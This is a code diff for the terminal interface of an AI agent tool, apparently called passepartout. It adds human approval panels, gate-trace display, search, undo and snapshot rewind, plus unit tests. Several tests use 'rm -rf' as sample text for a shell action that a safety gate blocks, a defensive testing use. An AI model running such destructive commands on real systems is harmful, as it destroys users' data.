+             (setf (st :search-mode) nil
+                   (st :search-matches) nil
+                   (st :search-query) "")
+             (add-msg :system (format nil "Jumped to match ~d" (1+ idx)))
+             (setf (st :dirty) (list nil t nil)))))
        ;; v0.7.1: Tab on empty input — extract then open URL from agent message
        ((and (or (eql ch 9) (eq ch :tab))
               (null (st :input-buffer)))
@@ -70,10 +107,28 @@
        (setf (st :cursor-pos) (length (st :input-buffer))))
       ((eql ch 12) ; Ctrl+L — redraw
        (setf (st :dirty) (list t t t)))
-      ((eql ch 4)  ; Ctrl+D — quit on empty
-       (when (or (null (st :input-buffer)) (string= "" (input-string)))
-         (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
-      ((eql ch 24) ; Ctrl+X prefix
+       ((eql ch 4)  ; Ctrl+D — quit on empty
+        (when (or (null (st :input-buffer)) (string= "" (input-string)))
+          (add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
+       ((eql ch 6)  ; v0.7.2 Ctrl+F — message search
+        (add-msg :system "Use /search <query> to find messages"))
+       ((eql ch 7)  ; v0.7.2 Ctrl+G — toggle gate trace collapse
+        (let ((gate-idx nil))
+          (loop for i from (1- (length (st :messages))) downto 0
+                for m = (aref (st :messages) i)
+                when (and (getf m :gate-trace) (listp (getf m :gate-trace)))
+                do (setf gate-idx i) (loop-finish))
+          (if gate-idx
+              (let ((cg (st :collapsed-gates)))
+                (if (member gate-idx cg)
+                    (setf (st :collapsed-gates) (remove gate-idx cg))
+                    (push gate-idx (st :collapsed-gates)))
+                (add-msg :system (format nil "Gate trace ~a for msg ~a"
+                                        (if (member gate-idx (st :collapsed-gates)) "hidden" "shown")
+                                        gate-idx))
+                (setf (st :dirty) (list nil t nil)))
+              (add-msg :system "No gate trace to toggle"))))
+       ((eql ch 24) ; Ctrl+X prefix
        (setf (st :pending-ctrl-x) t))
       ((and (st :pending-ctrl-x) (eql ch 5)) ; Ctrl+X+E — editor
        (setf (st :pending-ctrl-x) nil)
@@ -97,22 +152,248 @@
                 (setf (st :input-hpos) 0)
                 (setf (st :scroll-offset) 0)
                 (cond
+                  ;; v0.7.2: undo/redo
+                  ((string-equal text "/undo")
+                   (send-daemon (list :type :event :payload (list :sensor :undo)))
+                   (add-msg :system "Undo: restoring memory to previous state"))
+                  ((string-equal text "/redo")
+                   (send-daemon (list :type :event :payload (list :sensor :redo)))
+                   (add-msg :system "Redo: restoring memory"))
                   ;; /help command
+                  ((and (>= (length text) 9)
+                        (string-equal (subseq text 0 9) "/approve "))
+                    (let ((token (string-trim '(#\Space) (subseq text 9))))
+                      (send-daemon (list :type :event :payload
+                                         (list :action :hitl-respond :token token :decision :approved)))
+                      (add-msg :system (format nil "✓ Approved: ~a" token))
+                      (resolve-hitl-panel :approved)))
+                  ((and (>= (length text) 6)
+                        (string-equal (subseq text 0 6) "/deny "))
+                    (let ((token (string-trim '(#\Space) (subseq text 6))))
+                      (send-daemon (list :type :event :payload
+                                         (list :action :hitl-respond :token token :decision :denied)))
+                      (add-msg :system (format nil "✗ Denied: ~a" token))
+                      (resolve-hitl-panel :denied)))
+                  ;; /help command
+                  ;; /why command — show last gate trace
+                  ((string-equal text "/why")
+                   (let ((msgs (st :messages))
+                         (found nil))
+                     (loop for i from (1- (length msgs)) downto 0
+                           for m = (aref msgs i)
+                           for gt = (getf m :gate-trace)
+                           when (and gt (listp gt) (> (length gt) 0))
+                           do (setf found t)
+                              (dolist (entry gt)
+                                (let* ((gate (getf entry :gate))
+                                       (result (getf entry :result))
+                                       (reason (getf entry :reason))
+                                       (msg (format nil "~a ~a~@[ — ~a~]"
+                                                    (case result (:passed "[PASS]") (:blocked "[BLOCKED]") (:approval "[HITL]"))
+                                                    (or gate "unknown")
+                                                    reason)))
+                                  (add-msg :system msg)))
+                              (loop-finish))
+                         (unless found
+                           (add-msg :system "No recent gate trace. Run a tool to see gate decisions."))))
+                  ;; /identity command — edit and reload identity file
+                  ((string-equal text "/identity")
+                   (let* ((editor (or (uiop:getenv "EDITOR") "emacs"))
+                          (path (merge-pathnames "memex/IDENTITY.org" (user-homedir-pathname))))
+                     (add-msg :system (format nil "Opening ~a in ~a..." (namestring path) editor))
+                     (uiop:run-program (list editor (namestring path)) :output t :error-output t)
+                     (when (fboundp 'load-identity-file)
+                       (funcall 'load-identity-file))
+                     (add-msg :system "Identity reloaded")))
+                  ;; /audit command — Merkle provenance
+                  ((and (>= (length text) 7) (string-equal (subseq text 0 7) "/audit "))
+                   (if (fboundp 'audit-node)
+                       (let* ((node-id (string-trim '(#\Space) (subseq text 7)))
+                              (info (funcall 'audit-node node-id)))
+                         (if info
+                             (add-msg :system (format nil "Node ~a: type=~a scope=~a hash=~a"
+                                                     (getf info :id) (getf info :type)
+                                                     (getf info :scope)
+                                                     (subseq (or (getf info :hash) "(none)") 0 16)))
+                             (add-msg :system (format nil "Node ~a not found" node-id))))
+                       (add-msg :system "Memory audit not available")))
+                  ;; /tags command — tag stack with trigger counts
+                  ((string-equal text "/tags")
+                   (let ((cats passepartout::*tag-categories*)
+                         (counts passepartout::*tag-trigger-count*))
+                     (if cats
+                         (dolist (entry cats)
+                           (let* ((tag (car entry))
+                                  (sev (cdr entry))
+                                  (n (gethash (string-downcase tag) counts 0)))
+                             (add-msg :system (format nil "~a: ~a (~d trigger~:p this session)" tag sev n))))
+                         (add-msg :system "No tags configured. Set TAG_CATEGORIES env var."))))
+                   ;; /context command — section breakdown with token estimates
+                   ((string-equal text "/context")
+                    (let* ((msg-count (length (st :messages)))
+                           (focus (or (st :foveal-id) "none"))
+                           (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
+                           (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*)
+                                           (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4)
+                                           50))
+                           (log-tokens (min 4000 (floor (* msg-count 60) 4)))
+                           ;; rough estimate: TIME, CONTEXT overhead
+                           (overhead-tokens 200)
+                           (total-est (+ id-tokens tool-tokens log-tokens overhead-tokens))
+                           (total-limit 8192)
+                           (pct-used (floor (* 100 total-est) total-limit))
+                           (bar (make-string (min 10 (max 1 (floor (/ (min total-est total-limit) total-limit) 10)))
+                                            :initial-element #\#)))
+                      (add-msg :system (format nil "╔══ Context Budget ~a/~a tokens (~d%) ══╗" total-est total-limit pct-used))
+                      (add-msg :system (format nil "IDENTITY      ~5d tokens" id-tokens))
+                      (add-msg :system (format nil "TOOLS         ~5d tokens" tool-tokens))
+                      (add-msg :system (format nil "TIME+CONFIG   ~5d tokens" overhead-tokens))
+                      (add-msg :system (format nil "LOGS          ~5d tokens (~d msgs)" log-tokens msg-count))
+                      (add-msg :system (format nil "  [~a~a] ~d%"
+                                              bar (make-string (- 10 (length bar)) :initial-element #\Space) pct-used))
+                      (when (> pct-used 80)
+                        (add-msg :system "⚠ Context near limit — older messages may be dropped"))))
+                  ;; /context why <id> — debug node with full attributes
+                  ((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why "))
+                   (let ((node-id (string-trim '(#\Space) (subseq text 13))))
+                     (if (fboundp 'passepartout::memory-object-get)
+                         (let ((obj (funcall 'passepartout::memory-object-get node-id)))
+                           (if obj
+                               (let ((attrs (passepartout::memory-object-attributes obj))
+                                     (parent (passepartout::memory-object-parent-id obj))
+                                     (children (passepartout::memory-object-children obj))
+                                     (hash (or (passepartout::memory-object-hash obj) "(none)")))
+                                 (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
+                                                         node-id
+                                                         (passepartout::memory-object-type obj)
+                                                         (passepartout::memory-object-scope obj)
+                                                         (passepartout::memory-object-version obj)))
+                                 (when parent
+                                   (add-msg :system (format nil "  parent: ~a" parent)))
+                                 (when children
+                                   (add-msg :system (format nil "  children: ~d" (length children))))
+                                 (add-msg :system (format nil "  hash: ~a" (subseq hash 0 (min 32 (length hash)))))
+                                 (when attrs
+                                   (add-msg :system (format nil "  title: ~a" (or (getf attrs :TITLE) "(none)")))))
+                               (add-msg :system (format nil "Node ~a not found in memory" node-id))))
+                         (add-msg :system "Memory not available"))))
+                  ;; /context dropped — estimate pruned nodes from budget
+                  ((string-equal text "/context dropped")
+                   (let* ((msg-count (length (st :messages)))
+                          (est-total (* msg-count 60))
+                          (budget 8192)
+                          (dropped-msgs (if (> est-total budget)
+                                           (floor (- est-total budget) 60)
+                                           0)))
+                     (if (> dropped-msgs 0)
+                         (add-msg :system (format nil "Estimate: ~d messages (~d tokens) may be pruned at budget ~d tokens (~d% used)"
+                                                 dropped-msgs (- est-total budget) budget
+                                                 (floor (* 100 est-total) budget)))
+                         (add-msg :system (format nil "Within budget: ~d tokens used of ~d tokens (~d%)"
+                                                 est-total budget (floor (* 100 est-total) budget))))))
+                   ;; /search command — message search
+                   ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/search "))
+                    (let* ((query (string-downcase (string-trim '(#\Space) (subseq text 8))))
+                           (msgs (st :messages))
+                           (total (length msgs))
+                           (matches nil))
+                      (loop for i from 0 below total
+                            for m = (aref msgs i)
+                            for content = (getf m :content)
+                            when (search query (string-downcase content))
+                            do (push i matches))
+                      (setf matches (nreverse matches))
+                      ;; Enter search mode
+                      (setf (st :search-mode) t
+                            (st :search-query) query
+                            (st :search-matches) matches
+                            (st :search-match-idx) 0)
+                      (if matches
+                          (add-msg :system (format nil "Search: ~d matches for '~a' (1/~d) — Up/Down nav, Enter jump, Esc exit"
+                                                  (length matches) query (length matches)))
+                          (add-msg :system (format nil "0 matches for '~a'" query)))))
+                  ;; /rewind command — session rewind
+                  ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/rewind "))
+                   (let* ((n-str (string-trim '(#\Space) (subseq text 8)))
+                          (n (handler-case (parse-integer n-str) (error () nil))))
+                     (if n
+                         (if (fboundp 'passepartout::rollback-memory)
+                             (let* ((idx (1- n))
+                                    (snaps passepartout::*memory-snapshots*)
+                                    (ts (when (< idx (length snaps))
+                                          (getf (nth idx snaps) :timestamp))))
+                               (funcall 'passepartout::rollback-memory idx)
+                               (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts)))
+                             (add-msg :system "Memory rollback not available"))
+                         (add-msg :system "Usage: /rewind <number>"))))
+                  ;; /sessions command — list snapshots
+                  ((string-equal text "/sessions")
+                   (let ((snaps passepartout::*memory-snapshots*))
+                     (if snaps
+                         (let ((shown (subseq snaps 0 (min 10 (length snaps)))))
+                           (add-msg :system (format nil "~d snapshots (showing ~d):" 
+                                                   (length snaps) (length shown)))
+                           (loop for s in shown
+                                 for i from 0
+                                 for ts = (getf s :timestamp)
+                                 for data = (getf s :data)
+                                 for size = (hash-table-size data)
+                                 do (add-msg :system (format nil "  #~d: ~a objects, timestamp ~d"
+                                                             (1+ i) size ts))))
+                          (add-msg :system "No snapshots available"))))
+                  ;; /audit verify — memory integrity
+                  ((string-equal text "/audit verify")
+                   (if (fboundp 'passepartout::audit-verify-hash)
+                       (let* ((result (funcall 'passepartout::audit-verify-hash))
+                              (total (car result))
+                              (missing (cdr result)))
+                         (add-msg :system (format nil "Audit: ~d objects, ~d missing hashes, ~d snapshots~@[ — VERIFY PASS~]~@[ — ~d MISSING HASHES~]"
+                                                 total missing
+                                                 (length passepartout::*memory-snapshots*)
+                                                 (zerop missing)
+                                                 (unless (zerop missing) missing))))
+                       (add-msg :system "Memory audit not available")))
+                  ;; /resume <n> — resume from snapshot
+                  ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume "))
+                   (let* ((n-str (string-trim '(#\Space) (subseq text 8)))
+                          (n (handler-case (parse-integer n-str) (error () nil))))
+                     (if n
+                         (if (fboundp 'passepartout::rollback-memory)
+                             (progn (funcall 'passepartout::rollback-memory (1- n))
+                                    (add-msg :system (format nil "Resumed from snapshot ~d" n)))
+                             (add-msg :system "Memory rollback not available"))
+                         (add-msg :system "Usage: /resume <number>"))))
+                  ;; /help <topic> — search user manual
+                  ((and (>= (length text) 6) (string-equal (subseq text 0 6) "/help "))
+                   (let ((topic (string-trim '(#\Space) (subseq text 6)))
+                         (sections (self-help-lookup (string-trim '(#\Space) (subseq text 6)))))
+                     (if sections
+                         (dolist (entry sections)
+                           (let* ((title (car entry))
+                                  (content (cdr entry))
+                                  (preview (if (> (length content) 300)
+                                              (concatenate 'string (subseq content 0 297) "...")
+                                              content)))
+                             (add-msg :system (format nil "~a: ~a" title preview))))
+                         (add-msg :system (format nil "No manual section found for '~a'" topic)))))
                   ((string-equal text "/help")
-                   (add-msg :system
-                    "/eval <expr>   Evaluate Lisp expression")
-                   (add-msg :system
-                    "/focus <proj>  Set project context")
-                   (add-msg :system
-                    "/scope <s>     Change scope (memex/session/project)")
-                   (add-msg :system
-                    "/unfocus       Pop context stack")
-                   (add-msg :system
-                    "/theme         Show current color theme")
-                   (add-msg :system
-                    "/help          Show this help")
-                   (add-msg :system
-                    "\\ + Enter      Multi-line input"))
+                   (add-msg :system "/eval <expr>   Evaluate Lisp")
+                   (add-msg :system "/undo          Undo last operation")
+                   (add-msg :system "/redo          Redo last operation")
+                   (add-msg :system "/why           Show last gate trace")
+                   (add-msg :system "/identity      Edit IDENTITY.org")
+                   (add-msg :system "/tags          List tag severities")
+                   (add-msg :system "/audit <id>    Inspect memory object")
+                   (add-msg :system "/search <q>    Search messages")
+                   (add-msg :system "/context       Show context summary")
+                   (add-msg :system "/rewind <n>    Rewind to snapshot N")
+                   (add-msg :system "/sessions      Show snapshots")
+                   (add-msg :system "/resume <n>    Resume from snapshot")
+                   (add-msg :system "/focus <proj>  Set project context")
+                   (add-msg :system "/theme         Show theme")
+                   (add-msg :system "/help [topic]  Show this help")
+                   (add-msg :system "\\ + Enter      Multi-line input")
+                   (add-msg :system "Ctrl+G         Toggle gate trace"))
                   ;; /theme command
                    ((string-equal text "/theme")
                     (add-msg :system (format nil "Theme: ~a — user=~a agent=~a system=~a input=~a"
@@ -281,14 +562,14 @@
                       (reverse (coerce (nth (st :input-hpos) h) 'list))
                       nil))
             (setf (st :dirty) (list nil nil t)))))
-       ;; PageUp
+       ;; PageUp — scroll back by page (10 lines)
        ((or (eq ch :ppage) (eql ch 339))
         (let ((max-offset (max 0 (- (length (st :messages)) 1))))
-          (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 5))))
+          (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10))))
         (setf (st :dirty) (list nil t nil)))
-       ;; PageDown
+       ;; PageDown — scroll forward by page
        ((or (eq ch :npage) (eql ch 338))
-        (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
+        (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10)))
         (setf (st :dirty) (list nil t nil)))
        ;; Printable
        (t
@@ -300,14 +581,81 @@
             (input-insert-char chr)
             (setf (st :dirty) (list nil nil t))))))))
 
+;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
+(defun resolve-hitl-panel (decision)
+  "Mark the most recent HITL panel message as resolved with DECISION."
+  (loop for i from (1- (length (st :messages))) downto 0
+        for m = (aref (st :messages) i)
+        when (and (getf m :panel) (not (getf m :panel-resolved)))
+        do (setf (getf m :panel-resolved) decision)
+           (setf (aref (st :messages) i) m)
+           (setf (st :dirty) (list nil t nil))
+           (loop-finish)))
+
+;; v0.7.2 — self-help-lookup: read USER_MANUAL.org and find matching sections
+(defun self-help-lookup (topic)
+  "Search USER_MANUAL.org for headlines matching TOPIC, return content previews."
+  (let* ((manual-path (merge-pathnames "projects/passepartout/docs/USER_MANUAL.org"
+                                       (merge-pathnames "memex/" (user-homedir-pathname))))
+         (results nil))
+    (handler-case
+        (let* ((text (uiop:read-file-string manual-path))
+               (lines (uiop:split-string text :separator '(#\Newline)))
+               (in-section nil)
+               (section-content nil))
+          (dolist (line lines)
+            (let ((trimmed (string-trim '(#\Space #\Tab) line)))
+              (cond
+                ;; New headline
+                ((and (>= (length trimmed) 2) (eql (char trimmed 0) #\*))
+                 ;; Flush previous section if in one
+                 (when (and in-section section-content)
+                   (push (cons in-section (string-trim '(#\Space #\Newline)
+                                                       (format nil "~{~a~^ ~}" (reverse section-content))))
+                         results))
+                 ;; Check if this headline matches topic
+                 (let ((title (string-trim '(#\Space #\*) trimmed)))
+                   (if (search topic title :test #'char-equal)
+                       (setf in-section title
+                             section-content nil)
+                       (setf in-section nil
+                             section-content nil))))
+                ;; Content line in matching section
+                (in-section
+                 (when (and (> (length trimmed) 0)
+                            (not (eql (char trimmed 0) #\#)))
+                   (push trimmed section-content))))))
+          ;; Flush last section
+          (when (and in-section section-content)
+            (push (cons in-section (string-trim '(#\Space #\Newline)
+                                                (format nil "~{~a~^ ~}" (reverse section-content))))
+                  results))
+          (nreverse results))
+      (error (c) (list (cons "Error" (format nil "Cannot read manual: ~a" c)))))))
+
 (defun on-daemon-msg (msg)
   (let* ((payload (getf msg :payload))
          (text (getf payload :text))
          (msg-type (getf msg :type))
          (action (getf payload :action))
+         (level (getf msg :level))
+         (sensor (getf payload :sensor))
          (gate-trace (getf msg :gate-trace))
          (rule-count (getf payload :rule-count))
          (foveal-id (getf payload :foveal-id)))
+    ;; v0.7.2: HITL approval-required panel
+    (when (eq level :approval-required)
+      (let* ((hitl-msg (or (getf payload :message)
+                           (getf payload :text)
+                           "HITL approval required"))
+             (hitl-action (getf (getf payload :action) :payload))
+             (tool-name (getf hitl-action :tool))
+             (explanation (or tool-name "unknown action")))
+        (add-msg :system (format nil "┌─ Permission Required ─┐~%~a~%Action: ~a~%Respond: /approve HITL-xxxx or /deny HITL-xxxx"
+                                hitl-msg explanation)
+                 :panel t))
+      (setf (st :dirty) (list nil t nil))
+      (return-from on-daemon-msg nil))
     ;; v0.7.1: streaming chunk
     (when (eq msg-type :stream-chunk)
       (cond
@@ -757,6 +1105,218 @@
   "Contract/v0.7.1: Tab on empty input with URL message extracts URL."
   (init-state)
   (add-msg :agent "visit https://example.com for info")
-  ;; Tab should extract URL and set url buffer (model-level test)
   (on-key 9)
   (fiveam:is (string= "https://example.com" (st :url-buffer))))
+
+;; ── v0.7.2 HITL Panels ──
+
+(fiveam:test test-hitl-panel-in-on-daemon-msg
+  "Contract v0.7.2: approval-required messages render as HITL panels."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required
+                              :action (:TYPE :REQUEST :PAYLOAD (:TOOL "shell"))
+                              :message "rm -rf blocked")))
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (search "rm -rf" (getf m :content)))))
+
+(fiveam:test test-hitl-panel-after-approve
+  "Contract v0.7.2: /approve adds confirmation and marks panel resolved."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required :message "test")))
+  (dolist (ch (coerce "/approve HITL-test" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  ;; Panel message (index 0) should be marked resolved
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (eq :approved (getf m :panel-resolved))))
+  ;; Last message should be the approval confirmation
+  (let ((m (aref (st :messages) (1- (length (st :messages))))))
+    (fiveam:is (search "Approved" (getf m :content)))))
+
+(fiveam:test test-hitl-panel-after-deny
+  "Contract v0.7.2: /deny marks panel as denied."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required :message "blocked")))
+  (dolist (ch (coerce "/deny HITL-deny" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (eq :denied (getf m :panel-resolved)))))
+
+(fiveam:test test-hitl-approve-parsed
+  "Contract v0.7.2: /approve HITL-xxxx sends structured event, not raw text."
+  (init-state)
+  (dolist (ch (coerce "/approve HITL-abcd" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  ;; Should add a system message confirming approval, not a user message
+  (let ((msgs (st :messages)))
+    (fiveam:is (>= (length msgs) 1))
+    (let ((m (aref msgs 0)))
+      (fiveam:is (eq :system (getf m :role)))
+      (fiveam:is (search "Approved" (getf m :content))))))
+
+(fiveam:test test-hitl-deny-parsed
+  "Contract v0.7.2: /deny HITL-xxxx sends structured denial."
+  (init-state)
+  (dolist (ch (coerce "/deny HITL-xyz" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Denied" (getf m :content)))))
+
+;; ── v0.7.2 Undo/Redo ──
+
+(fiveam:test test-undo-command
+  "Contract v0.7.2: /undo sends undo event."
+  (init-state)
+  (dolist (ch (coerce "/undo" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Undo" (getf m :content)))))
+
+(fiveam:test test-redo-command
+  "Contract v0.7.2: /redo sends redo event."
+  (init-state)
+  (dolist (ch (coerce "/redo" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Redo" (getf m :content)))))
+
+;; ── v0.7.2 Self-help ──
+
+(fiveam:test test-why-command
+  "Contract v0.7.2: /why shows gate trace from last message."
+  (init-state)
+  (add-msg :agent "did something" :gate-trace '((:gate "shell" :result :blocked :reason "rm -rf")))
+  (dolist (ch (coerce "/why" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "[BLOCKED]" (getf m :content)))
+    (fiveam:is (search "shell" (getf m :content)))))
+
+(fiveam:test test-why-no-trace
+  "Contract v0.7.2: /why with no gate trace shows fallback message."
+  (init-state)
+  (dolist (ch (coerce "/why" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "No recent" (getf m :content)))))
+
+;; ── v0.7.2 Gate Trace Toggle (Ctrl+G) ──
+
+(fiveam:test test-ctrlg-toggle-gate-trace
+  "Contract v0.7.2: Ctrl+G toggles gate-trace collapse state."
+  (init-state)
+  (add-msg :agent "test" :gate-trace '((:gate "shell" :result :passed)))
+  (on-key 7)  ;; Ctrl+G — first press hides
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "hidden" (getf m :content))))
+  (on-key 7)  ;; second press shows
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "shown" (getf m :content)))))
+
+(fiveam:test test-ctrlg-no-gate-trace
+  "Contract v0.7.2: Ctrl+G with no gate trace shows fallback."
+  (init-state)
+  (on-key 7)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (search "No gate trace" (getf m :content)))))
+
+;; ── v0.7.2 Message Search Mode ──
+
+(fiveam:test test-search-mode-activate
+  "Contract v0.7.2: /search enters search mode."
+  (init-state)
+  (add-msg :agent "hello world")
+  (add-msg :agent "goodbye")
+  (dolist (ch (coerce "/search hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (eq t (st :search-mode)))
+  (fiveam:is (string= "hello" (st :search-query)))
+  (fiveam:is (= 1 (length (st :search-matches)))))
+
+(fiveam:test test-search-mode-escape-exits
+  "Contract v0.7.2: Escape exits search mode."
+  (init-state)
+  (add-msg :agent "test")
+  (dolist (ch (coerce "/search test" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (eq t (st :search-mode)))
+  (on-key 27)  ;; Escape
+  (fiveam:is (null (st :search-mode))))
+
+(fiveam:test test-search-mode-up-down-nav
+  "Contract v0.7.2: Up/Down navigates between search matches."
+  (init-state)
+  (add-msg :agent "aaa hello bbb")
+  (add-msg :agent "ccc hello ddd")
+  (add-msg :agent "no match here")
+  (dolist (ch (coerce "/search hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (= 0 (st :search-match-idx)))
+  (on-key 258)  ;; Down
+  (fiveam:is (= 1 (st :search-match-idx)))
+  (on-key 259)  ;; Up
+  (fiveam:is (= 0 (st :search-match-idx)))
+  (on-key 259)  ;; Up (clamped)
+  (fiveam:is (= 0 (st :search-match-idx))))
+
+(fiveam:test test-context-sections
+  "Contract v0.7.2: /context shows section breakdown with IDENTITY, TOOLS, LOGS."
+  (init-state)
+  (add-msg :agent "hello world")
+  (dolist (ch (coerce "/context" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((msgs (st :messages)))
+    (fiveam:is (some (lambda (m) (search "IDENTITY" (getf m :content))) msgs))
+    (fiveam:is (some (lambda (m) (search "LOGS" (getf m :content))) msgs))
+    (fiveam:is (some (lambda (m) (search "TOOLS" (getf m :content))) msgs))))
+
+(fiveam:test test-help-topic-lookup
+  "Contract v0.7.2: /help <topic> reads and searches USER_MANUAL.org."
+  (init-state)
+  (dolist (ch (coerce "/help configuration" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((msgs (st :messages)))
+    (fiveam:is (some (lambda (m) (search ".env" (getf m :content))) msgs))))
+
+(fiveam:test test-pads-page-up
+  "Contract v0.7.2: PageUp scrolls by page size (> 5 lines)."
+  (init-state)
+  (dotimes (i 30) (add-msg :system (format nil "msg ~d" i)))
+  (setf (st :scroll-offset) 0)
+  (on-key :ppage)
+  (fiveam:is (> (st :scroll-offset) 5) "Should scroll by more than 5 lines"))
+
+(fiveam:test test-pads-page-down-clamp
+  "Contract v0.7.2: PageDown clamps to 0."
+  (init-state)
+  (dotimes (i 5) (add-msg :system (format nil "msg ~d" i)))
+  (setf (st :scroll-offset) 3)
+  (on-key :npage)
+  (fiveam:is (= 0 (st :scroll-offset))))

lisp/channel-tui-state.lisp

@@ -21,6 +21,7 @@
     :connected :green :disconnected :red :busy :magenta :idle :white
     ;; Gate trace
     :gate-passed :green :gate-blocked :red :gate-approval :yellow
+    :hitl :magenta
     ;; Tools (future use)
     :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
     ;; Display
@@ -114,7 +115,10 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
               :scroll-offset 0 :busy nil :cursor-pos 0
               :pending-ctrl-x nil
               :scroll-at-bottom t :scroll-notify nil
-              :streaming-text nil :url-buffer nil   ; v0.7.1
+              :streaming-text nil :url-buffer nil            ; v0.7.1
+              :collapsed-gates nil                          ; v0.7.2
+              :search-mode nil :search-query ""           ; v0.7.2
+              :search-matches nil :search-match-idx 0
               :dirty (list nil nil nil))))
 
 (defun now ()
@@ -144,8 +148,8 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
         (setf (st :input-buffer) (reverse (coerce new 'list)))
         (setf (st :cursor-pos) (1- pos))))))
 
-(defun add-msg (role content &key gate-trace)
-  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace) (st :messages))
+(defun add-msg (role content &key gate-trace panel)
+  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
   ;; v0.7.0: notify when scrolled up and new msg arrives
   (unless (st :scroll-at-bottom)
     (setf (st :scroll-notify) t))

lisp/channel-tui-view.lisp

@@ -23,31 +23,22 @@
               :fgcolor (theme-color :timestamp))
   (refresh win))
 
-(defun word-wrap (text width)
-  "Break text into lines at word boundaries, each <= width chars.
-Returns list of trimmed strings. Single words wider than width are split."
-  (let ((lines '())
-        (pos 0)
-        (len (length text)))
-    (loop while (< pos len)
-          do (let ((end (min len (+ pos width))))
-               (cond
-                 ((>= end len)
-                  (push (string-trim '(#\Space) (subseq text pos len)) lines)
-                  (setf pos len))
-                 ((char= (char text (1- end)) #\Space)
-                  (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                  (setf pos end))
-                 (t
-                  (let ((last-space (position #\Space text :from-end t :end (1+ end) :start pos)))
-                    (if (and last-space (> last-space pos))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos last-space)) lines)
-                          (setf pos (1+ last-space)))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                          (setf pos end))))))))
-    (nreverse lines)))
+;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
+(defun search-highlight (content query)
+  "Wrap occurrences of QUERY in CONTENT with **bold** markers."
+  (let ((lower-content (string-downcase content))
+        (lower-query (string-downcase query))
+        (result "") (pos 0))
+    (when (and query (> (length query) 0))
+      (loop
+        (let ((found (search lower-query lower-content :start2 pos)))
+          (unless found (return))
+          (setf result (concatenate 'string result
+                                   (subseq content pos found)
+                                   "**" (subseq content found (+ found (length query))) "**"))
+          (setf pos (+ found (length query)))))
+      (setf result (concatenate 'string result (subseq content pos)))
+      (if (string= result "") content result))))
 
 (defun view-chat (win h)
   (clear win)
@@ -56,18 +47,32 @@ Returns list of trimmed strings. Single words wider than width are split."
          (msgs (st :messages))
          (total (length msgs))
          (max-lines (- h 2))
+         (is-search (st :search-mode))
          (y 1))
+    ;; v0.7.2: search mode header
+    (when is-search
+      (let* ((matches (st :search-matches))
+             (idx (st :search-match-idx))
+             (query (st :search-query))
+             (header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
+                            (length matches) query (1+ idx) (length matches))))
+        (add-string win header :y y :x 1 :n (1- w) :fgcolor (theme-color :highlight))
+        (incf y)
+        (decf max-lines)))
     ;; Count visible messages from end, accounting for word wrap
     (let* ((msg-count 0)
            (lines-remaining max-lines))
       (loop for i from (1- total) downto 0
             while (> lines-remaining 0)
